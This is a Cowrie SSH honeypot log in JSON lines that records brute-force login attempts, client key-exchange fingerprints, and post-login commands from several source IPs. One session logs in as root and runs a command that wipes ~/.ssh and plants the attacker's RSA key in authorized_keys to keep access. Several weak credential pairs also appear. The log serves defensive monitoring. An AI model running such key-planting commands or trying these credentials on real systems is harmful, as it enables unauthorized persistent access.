{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:29.520687Z","src_ip":"162.120.6.20","session":"7130b7e70a5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":46112,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb5d6cec2c11","protocol":"ssh","message":"New connection: 162.120.6.20:46112 (159.203.135.109:22) [session: eb5d6cec2c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:29.585720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:29.589792Z","src_ip":"162.120.6.20","session":"eb5d6cec2c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:29.659327Z","src_ip":"162.120.6.20","session":"eb5d6cec2c11","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Pass12345","message":"login attempt [root/Pass12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:29.868366Z","src_ip":"162.120.6.20","session":"eb5d6cec2c11","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:30.045114Z","src_ip":"162.120.6.20","session":"eb5d6cec2c11","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:30.048644Z","src_ip":"162.120.6.20","session":"eb5d6cec2c11","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:30.122627Z","src_ip":"162.120.6.20","session":"eb5d6cec2c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:30.127528Z","src_ip":"162.120.6.20","session":"eb5d6cec2c11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":34458,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca6ee9deefc4","protocol":"ssh","message":"New connection: 171.237.176.209:34458 (159.203.135.109:22) [session: ca6ee9deefc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:43.056769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:43.061014Z","src_ip":"171.237.176.209","session":"ca6ee9deefc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:43.320834Z","src_ip":"171.237.176.209","session":"ca6ee9deefc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuopass","message":"login attempt [qiyuesuo/qiyuesuopass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:44.394505Z","src_ip":"171.237.176.209","session":"ca6ee9deefc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:52:45.656259Z","src_ip":"171.237.176.209","session":"ca6ee9deefc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60834,"dst_ip":"10.17.0.5","dst_port":22,"session":"16b489ef3055","protocol":"ssh","message":"New connection: 195.178.110.218:60834 (10.17.0.5:22) [session: 16b489ef3055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:53:52.776018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:53:52.779546Z","src_ip":"195.178.110.218","session":"16b489ef3055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:53:52.858418Z","src_ip":"195.178.110.218","session":"16b489ef3055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:53:53.095711Z","src_ip":"195.178.110.218","session":"16b489ef3055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:53:54.177180Z","src_ip":"195.178.110.218","session":"16b489ef3055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":60726,"dst_ip":"159.203.135.109","dst_port":22,"session":"b20bee4b50b2","protocol":"ssh","message":"New connection: 92.118.39.92:60726 (159.203.135.109:22) [session: b20bee4b50b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:54:18.809322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:54:18.813589Z","src_ip":"92.118.39.92","session":"b20bee4b50b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:54:18.916332Z","src_ip":"92.118.39.92","session":"b20bee4b50b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www123","message":"login attempt [www/www123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:54:19.224302Z","src_ip":"92.118.39.92","session":"b20bee4b50b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:54:20.332726Z","src_ip":"92.118.39.92","session":"b20bee4b50b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":45510,"dst_ip":"159.203.135.109","dst_port":22,"session":"901a4dcc0718","protocol":"ssh","message":"New connection: 171.237.176.209:45510 (159.203.135.109:22) [session: 901a4dcc0718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:34.027954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:34.031869Z","src_ip":"171.237.176.209","session":"901a4dcc0718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:34.280526Z","src_ip":"171.237.176.209","session":"901a4dcc0718","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"serverroot","message":"login attempt [root/serverroot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:35.305385Z","src_ip":"171.237.176.209","session":"901a4dcc0718","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:35.834903Z","src_ip":"171.237.176.209","session":"901a4dcc0718","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:35.837595Z","src_ip":"171.237.176.209","session":"901a4dcc0718","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:35.841148Z","src_ip":"171.237.176.209","session":"901a4dcc0718","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:36.093298Z","src_ip":"171.237.176.209","session":"901a4dcc0718","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:36.618054Z","src_ip":"171.237.176.209","session":"901a4dcc0718","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:36.621092Z","src_ip":"171.237.176.209","session":"901a4dcc0718","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:36.873603Z","src_ip":"171.237.176.209","session":"901a4dcc0718","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:36.876805Z","src_ip":"171.237.176.209","session":"901a4dcc0718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":53516,"dst_ip":"159.203.135.109","dst_port":22,"session":"65f86b09f66f","protocol":"ssh","message":"New connection: 171.237.176.209:53516 (159.203.135.109:22) [session: 65f86b09f66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:37.122976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:37.126312Z","src_ip":"171.237.176.209","session":"65f86b09f66f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:37.375807Z","src_ip":"171.237.176.209","session":"65f86b09f66f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:38.411479Z","src_ip":"171.237.176.209","session":"65f86b09f66f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:39.666544Z","src_ip":"171.237.176.209","session":"65f86b09f66f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":53532,"dst_ip":"159.203.135.109","dst_port":22,"session":"98089edb734a","protocol":"ssh","message":"New connection: 171.237.176.209:53532 (159.203.135.109:22) [session: 98089edb734a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:39.916423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:39.920784Z","src_ip":"171.237.176.209","session":"98089edb734a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 